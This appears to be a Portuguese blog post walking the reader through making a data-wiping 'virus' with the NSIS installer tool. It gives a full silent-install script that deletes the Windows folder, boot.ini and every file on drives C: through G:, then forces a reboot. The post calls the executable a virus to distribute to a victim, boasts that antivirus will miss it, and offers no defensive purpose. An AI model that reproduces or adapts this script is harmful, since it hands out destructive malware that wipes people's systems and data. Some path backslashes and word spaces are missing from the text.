Primeiramente Baixe o NSIS em nsis.sourceforge.nete instale-o. Ele é gratuito (e open source). Não vamos nos deter com oaquinaum dele, vamos direto ao assunto. Ele possui uma função "Delete",que apaga arquivos ou pastas. Basta você adicionar os nomes de arquivosou pastas desejados, e gerar o programa. Esta função deveria ser usadapara apagar arquivos de um programa que seria desinstalado, já que oNSIS é um criador de programas de instalação para outros programas. Mascomo apaga arquivos que você define, pode ser usada para o mal também,só depende das suas intenções. Em menos de 1 minuto seu vírus estará pronto.
Com o NSIS instalado, abra um editor de textos puro, como o Bloco de notas, e digite (ou copie e cole) o texto em vermelho:
!define PRODUCT_NAME "APAGADOR_XXX"
!define PRODUCT_VERSION "1.0"
!define PRODUCT_PUBLISHER "HACKER_XXX"
SetCompressor lzma
Name "${PRODUCT_NAME} ${PRODUCT_VERSION}"
OutFile "MeuVirus.exe"
InstallDir "$TEMP"
Icon "${NSISDIR}ContribGraphicsIconsmodern-install.ico"
SilentInstall silent
Section "Sec001" SEC01
Delete /REBOOTOK "$WINDIR*.*"
SectionEnd
Section -Post
Reboot
SectionEnd
Salvecom a extensão ".nsi", e escolha "Todos os arquivos", no campo "Salvarcomo tipo". A extensão ".nsi" é a de projeto do NSIS, você poderia usaroutra qualquer e depois abri-lo no compilador do NSIS ("Iniciar >Programas > MakeNSISW (Compiler GUI)").
Vamos entender essearquivo... As três primeiras linhas identificam o "programa" que seriainstalado, afinal o NSIS é um instalador. Deixe como está, ou escrevaqualquer coisa, de preferência não palavras. O item "OutFile" é oexecutável que será gerado, é o seu vírus que deverá ser distribuído. Alinha "SilentInstall silent" gera um instalador oculto, que não mostranada na tela. Ou seja, quando a vítima executá-lo, ele já começará aapagar tudo sem mostrar nada.
Na seção "Sec01", você deveadicionar as entradas "Delete" que desejar. Existem outros comandos, épossível, em vez de apagar arquivos, criar entradas no registro,instalar programas que se auto-executam, etc. Não me pergunte comofazer isso.
A linha "Delete /REBOOTOK "$WINDIR*.*" apaga tudoda pasta do Windows, deixando para apagar na próxima inicialização oque estiver em uso. Copie-a e cole-a abaixo dela, antes do SectionEnd,trocando as pastas ou arquivos que você queira apagar. Por exemplo:
Delete /REBOOTOK "C:boot.ini"
Delete /REBOOTOK "C:Meus documentos*.*"
Delete /REBOOTOK "C:*.*"
Delete /REBOOTOK "D:*.*"
Delete /REBOOTOK "E:*.*"
Delete /REBOOTOK "F:*.*"
Delete /REBOOTOK "G:*.*"
Delete /REBOOTOK "C:Arquivos de programas*.*"
Adicione o que quiser, arquivos específicos, etc.
A última seção, "Section -Post / Reboot / SectionEnd", será executada aoconcluir o instalador, ou seja, quando ele terminar sua ação. O comando"reboot" reiniciará o computador, que na próxima inicialização neminicia mais. Se você quiser, pode remover essas três últimas linhas,para deixar o usuário em desespero, vendo que tudo do seu PC foiapagado.
Salve o arquivo. Abra o compilador do NSIS, em "Iniciar> Programas > MakeNSISW (Compiler GUI)", clique no menu "File> Load aquinaum", localize o arquivo de extensão ".nsi" que vocêsalvou. Ele já compilará, é rapidinho. NÃO CLIQUE NO BOTÃO "TEST INSTALLER".
O vírus está pronto! E, em condições normais, nenhum anti-vírus odetectaria, a menos que ele fosse parar nas mãos de algum criador de anti-vírus.
0 comentários:
Postar um comentário